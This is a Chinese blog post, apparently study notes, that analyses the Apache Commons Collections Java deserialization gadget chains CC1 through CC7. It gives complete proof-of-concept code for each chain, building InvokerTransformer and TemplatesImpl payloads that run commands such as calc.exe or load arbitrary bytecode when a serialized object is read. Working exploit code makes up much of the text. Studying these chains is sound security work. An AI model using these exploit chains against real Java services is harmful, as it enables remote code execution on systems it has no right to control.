https://blog.csdn.net/weixin_49047967/article/details/134763883

4.java cc1链-LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承了

AbstractMapDecorator。

TransformedMap的漏洞触发点:是在利用put方法写入元素的时候触发了transform方法从而触发了我们构造的恶意利用链

LazyMap触发点与TransformedMap有点差别我们还是向以前通过查找transfrom的调用方法来看看:

发现LazyMap的get方法中factory对象调用了transform方法所以只要我们能够将factory的对象设为invokertransformer对象,当map.containskey(key) == false,就会调用factory.transform。就可以进行rce

所以查看一下LazyMap的构造方法

1
2
3
4
5
6
7
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

发现是factory对象是可控的,不过这里是protected类型所以不能直接实例化,但是LazyMap中也有一个静态方法decorate可以实例化

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

在TransformedMap利用链完善这篇文章中我们有分析AnnotationInvocationHandler,在其readObject方法中通过调用setValue添加元素来触发transform。但是在readObject方法中没有直接调用到Map的get方法。不过ysoserial的作者找到了在该类的invoke方法中调用了get方法

但是反序列化的时候应该如何触发该方法呢,我们想到了java的动态代理,这里参考Java安全漫谈 - 11.反序列化篇(5).pdfJava安全漫谈 - 10.用TransformedMap编写真正的POC.pdf

https://mp.weixin.qq.com/s/doU_WAxgCHpApPpogngVtg、p牛的文章解释为什么可以在反序列化的时候可以调用invoke方法

Java对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需 要用到 java.reflect.Proxy :

1
2
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new 
Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。 比如,我们写这样一个类ExampleInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().compareTo("get") == 0){
System.out.println("Hook method: "+ method.getName());
return "hacked Object";
}
return method.invoke(this.map,args);
}
}

package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class ExampleTest {
public static void main(String[] args) {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.put("test","xxx");
String result = (String)proxyMap.get("test");
System.out.println(result);
}
}

看执行结果,我们能发现我们明明传进Map是test值为xxx,但是我们获取到的结果却是hacked Object。

这里用自己的话解释这个动态代理的应用原理,就是说我们使用这个Proxy.newProxyInstance这个类去代理一个对象时,这个对象调用任意方法都会触发我们传入的InvocationHandler对象的invoke方法。

AnnotationInvocationHandler,这个类实际就是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意的方法。就会自动调用到 AnnotationInvocationHandler#invoke 方法,进而触发我们的LazyMap#get。我们可以调试看看

在这里发现membervalues调用entyset方法时调用了invoke方法。

所以我们可以构造出LazyMap的利用链

首先使用LazyMap替换TransformedMap。

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后通过反射获取

sun.reflect.annotation.AnnotationInvocationHandler

这个内部类,然后进行对其进行Proxy。

1
2
3
4
5
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是:

sun.reflect.annotation.AnnotationInvocationHandler#readObject,

所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

1
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

完整的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//lazymap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

cc1 LazyMap调用链

5.java cc6链

在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤ 链,为了解决⾼版本Java的利⽤问题,我们先来看看这个利⽤链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6_test {
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(key,"sss");
decorate.remove("key");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);

//serialize(hashMap);
unserialize("ser.bin");
}
}

由于在java 8u71,这个利⽤链不能再利⽤了,主要原因 是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

ysoserial作者找到了另一条能够触发lazymap的方法,就是TiedMapEntry这个类中的getValue方法中调用了get方法

在其同类中的hashcode方法调用了get方法

所以我们想要进行rce就需要找到一个可以触发hashcode的方法,在URLDNS链中我们知道hashmap的readobject中调用了hash方法,而其hash方法中又调用了hashcode方法,所以调用链就出来了,我们可以构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(key,"sss");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);

这里由于hasmap在put的时候也会调用hash方法所以我们先用一个假的invokertransformer进行put然后在反射修改成真的就不会在put的时候触发了,但是我们这样反序列化运行后发现也没有触发,这是什么原因,我们跟进来看看

我们发现在lazymap中并没有进入if条件,这说明key被传入了,但是我们并没有给lazymao传入值,这里通过调试发现我们在hashmap进行put的时候进入lazymap的if条件之后如果没有key值他是会在进行put进去的所以我们只需要在put之后在进行删除即可poc如开头。

参考:https://blog.csdn.net/weixin_49125123/article/details/135232651 Java安全漫谈 - 12.反序列化篇(6).pdf

cc6调用链

6.java cc3链

cc3用的是动态加载字节码的形式进行的rce可以参考自己记得动态加载字节码的笔记来了解。

该链主要是利用了TemplatesImpl这个类进行字节码加载。通过笔记我们了解到java加载.class的核心代码就是defineclass方法,而通过调试发现TemplatesImpl这个类中定义了一个内部类重写了defineclass方法并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。

但是我们需要找到一个该类一个public类型来进行调用该方法

我们反向跟踪在defineTransletClasses中调用了该方法,需要_bytecodes不为空,其实这个属性就是我们要传入的字节码但是还不能调用需要继续跟

找到了getTransletInstance方法并且其属性_name不能为空 _class需要为空才可以调用,但是还是不能在外部调用需要继续跟

最终找到了newTransformer方法是public类型的,所以我们可以通过实例化TemplatesImpl对象调用newTransformer方法来触发defineclass加载字节码。

接下来我们需要看一下TemplatesImpl构造方法

发现并没用进行任何赋值所以我们需要自己手动进行反射赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();


// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
templates.newTransformer();

运行发现空指针错误,通过调试发现

_tfactory为空所以我们需要给其传入值,

通过查看发现其是transient类型是不可序列化的,所以我们通过产看readObject中看看是给其赋值的什么就给他赋值什么就可以

所以重新构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bbyte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();


// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
templates.newTransformer();

但是运行之后发现还是报错

原因是在加载字节码之后有一个方法查看字节码的父类是否是

所以我们需要让我们的恶意类继承该类之后就可以运行了。

然后我们和之前的cc1链前面结合一下就可以成为一个链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object,Object> map=new HashMap<>();
map.put("className","aass"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(FaultAction.class, transformedMap);
//serialize(o);
unserialize("ser.bin");

但是我们通过查看ysoserial作者发现其构造的链跟我们不一样,他没有用这个InvokerTransformer去触发,原因就是因为可能有些waf会对InvokerTransformer做了黑名单限制导致不能够使用了。

所以ysoserial作者发现了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。 这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步:

但是呢由于该类是不可以被序列化的,所以我们只能通过对其反射获取class对象对其进行赋值,这里作者ysoserial找到一个InstantiateTransformer类他实现了transformer Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

所以这里我们可以通过调用InstantiateTransformer的transform方法来触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class [] {Templates.class},new Object [] {templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
/*InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);*/
HashMap<Object,Object> map=new HashMap<>();
map.put("className","aass"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(FaultAction.class, transformedMap);
//serialize(o);
unserialize("ser.bin");
}

参考:Java安全漫谈 - 14.为什么需要CommonsCollections3.pdf

https://blog.csdn.net/weixin_54648419/article/details/123376523

cc3调用链

java cc2链

通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。所以首先要下载一下依赖,pom文件加入:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

调用方式1:

然后就是他前半部分的调用链变了先来看一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。
queue.add(1);
queue.add(2);//传入两个参数
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(queue,comparator);//设置参数

通过poc我们发现后半部分也是用的也是invokertransformer进行触发的,这里主要看前半部分怎么调用的

还是通过跟是谁transform方法我们找到了TransformingComparator这个类中的compare方法调用了transform方法

所以我们只需将trangsformer变成invokertransformer对象就可以rce了

再来看看其构造方法

可以看到transformer是可控的所以我们现在需要找到能够触发compare的方法

我们找到了PriorityQueue类中的siftDownUsingComparator方法调用了compare方法,这里看下构造方法发现comparator也是可控的

所以现在需要找到可以触发siftDownUsingComparator的方法我们发现在本类的siftDown方法调用了该方法

并且在本类的readObject中发现heapify调用了siftDown方法

并且该size需要大于等于2才可以进入for循环所以可以构造poc了

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(1);
queue.add(2);//传入两个参数

运行发现在序列化之前就触发了原因在于add方法

调用了offer方法

该方法又调用了siftUp方法

发现在该方法中也调用了siftDownUsingComparator方法所以我们需要在add的时候将comparartor让其值为空,在add之后在反射将其值该为TransformingComparator对象就行poc如开头所示

cc2 调用链

调用方式2

第二种调用方法就是结合CC3中所介绍到的动态加载字节码的形式进行触发rce,因为通过上文分析的我们知道cc2会在TransformingComparator这个类中的compare方法中调用transform方法,所以这里我们想到利用Invokertransform这个类中的transform方法来调用任意类的方法,也就是通过在这里注入invokertransform对象调用transform方法在调用TemplateImpl中的newTransformer方法来进而触发动态类加载实现rce。

这里给出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
InvokerTransformer invokertransformer = new InvokerTransformer("newTransformer", new Class[]{}, new String[]{});
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(templates);
queue.add(2);//传入两个参数
Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(comparator,invokertransformer);//设置参数
//serialize(queue);
unserialize("ser.bin");

其实通过poc我们能够发现就是将最后改成动态调用newTransformer方法。

问题1:

这里其实我们很容易想明白就是利用invokertransform的transform方法去动态调用newTransformer方法但是你执行会发现报错找不到这个方法,是因为我们并没有将该方法的类对象传递进去这里如何不利用ChainedTransformer进行传递呢

通过调试我们可以通过add方法进行添加

他会传入到offer里面,offer会继续调用 siftUp方法

继续将我们传入的参数放进去

可以看到已经是被传递进来了。

问题2:

然后我们发现我们的poc在一开始的时候并没有将一个真的invokertransformer放进去

而是在add之后通过反射修改了其值,这里上文也说了是为了防止在add时触发rce。

问题3:

就是我们在add的时候需要传入两个templates对象吗,这里经过实验只需要对第一个传入即可,并且第一个必须传入。我们来调试看看为什么我们以只传入第一个templates对象为例进行反序列化调试

在反序列化的时候可以看到它获取的是第一个传递的参数的值

继续跟进发现确实取出来的是第一个参数的值

这里调用的也确实是x的值,结合前面两个方法分析说明第一个参数必须传入templates对象。

cc2 TemplatesImpl调用链

java cc4链

其实如果搞懂了cc2 和 cc3 两条链,cc4链就没啥难度了,它就是这俩的结合具体分析看cc2 与cc3

cc4调用链

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()

贴出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//后半段用的是cc3
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class [] {Templates.class},new Object [] {templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//前半段是cc2
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(templates);
queue.add(2);//传入两个参数
Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(comparator,chainedTransformer);//设置参数
//serialize(queue);
unserialize("ser.bin");

java cc5链

cc5的调用链和cc1 lazyMap调用链很相似,只不过cc5调用链最后触发get方法那里变成了TiedMapEntry的toString方法,然后利用BadAttributeValueExpException的readObject触发。

看一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map outerMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "11");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
Field val = aClass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
//serialize(badAttributeValueExpException);
unserialize("ser.bin");

通过poc我们发现直到lazyMap都是和cc1一样的调用,后面从Proxy改成了TiedMapEntry类

我们知道触发该条链是需要触发到LazyMap的get方法我们调试一下

我们找到了TiedMapEntry类里面的toString方法中调用了 getValue方法。这个有点熟悉在cc6中出现过跟到getValue中

发现调用了 get方法而我们在cc6中已将知道TiedMapEntry类的构造方法是可以直接对map这个属性进行赋值的

所以这里只需要找到可以触发该类toString的方法就可以

继续调试我们发现了

在BadAttributeValueExpException这个类的readObject中发现了调用了toString方法是由valObj触发的而valObj则是获得val属性的值,然后看看其构造方法

发现val是可控的,但是发现在构造方法里也调用了toString方法,所以在构造的时候不能传入TiedMapEntry对象,因为这回导致在序列化前就会rce所以我们需要在实例化完之后反射修改其属性值就可以了。

cc5调用链

java cc7链

其实该条利用链和cc5也是大同小异,也是利用LazyMap去触发的,只不过入口点换成了Hashtable

我们先来直接看看网上的poc然后跟着分析分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
  final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

问题1

从poc中我们可以看到进行了Hashtable两次put而且都是相同的key,为什么要这样做?我们直接看其readObject方法就不倒着调试了。

lements代表键值对的个数,我们创建Hashtable时传入了两个键值对,故elements=2

可以看到在readObject中的for循环里读出了序列化写进去的key 和 value值 这里可以看到第一次循环获取的是第一次hashtable put的key 和 value值然后跟到reconstitutionPut方法看看

从调试信息以及代码可以看出第一次for循环是没有进去的,是因为这里的tab是空的所以没法进入,而我们发现他在后面又直接将我们传入过来的key(第一个传入的lazymap) 和 value (值为1)又直接实例化到tab里面了。

所以继续跟进:

等到第二次传进来的值的时候就可以进入for循环了,这就是为什么我们需要两次传入同样的key,这时会在for循环里调用e.key也就等于LazyMap对象(第一次传入的)的equals方法并且传入的参数key也是LazyMap对象是第二次hashtable put进来的,但是这里有一个问题是我们去查看LazyMap并没有发现equals方法,于是我们去找他的父类发现在AbstractMapDecorator这个抽象类里实现了equals方法我们继续跟进看看

这里我们知道LazyMap也是put两个一样的key是hashmap对象所以这里会调用hashmap的equals方法

但是同样他也没有equals方法所以直接到它的父类AbstractMap里看

此时value并不为空所以进入到equals方法中且调用了get方法,此时的m就是第二次put进来的LazyMap对象,

所以也就触发了rce(后续一系列的过程跟其它lazymap很像)就不再一一跟了。

补充说明:这里分析的有点问题,这里涉及到hash碰撞的问题建议先参考:https://www.anquanke.com/post/id/248169#h3-4

http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections7%E5%88%A9%E7%94%A8%E9%93%BE#%E6%8E%A7%E5%88%B6%E5%93%88%E5%B8%8C%EF%BC%88%E9%87%8D%E7%82%B9%EF%BC%89

问题2

为什么要反射修改ChainedTransformer的属性值

经过调试我们发现在hashtable对象进行put的时候也会调用到equals方法具体参照问题1的分析

所以在序列化之前我们先传一个不能够执行命令的invokertransformer对象。

问题3

为什么要删除laymap2中的key值呢,其实这里我们可以参考cc6链中为什么在序列化之前移除key一样,因为lazyMap执行get方法需要保证不存在这个值

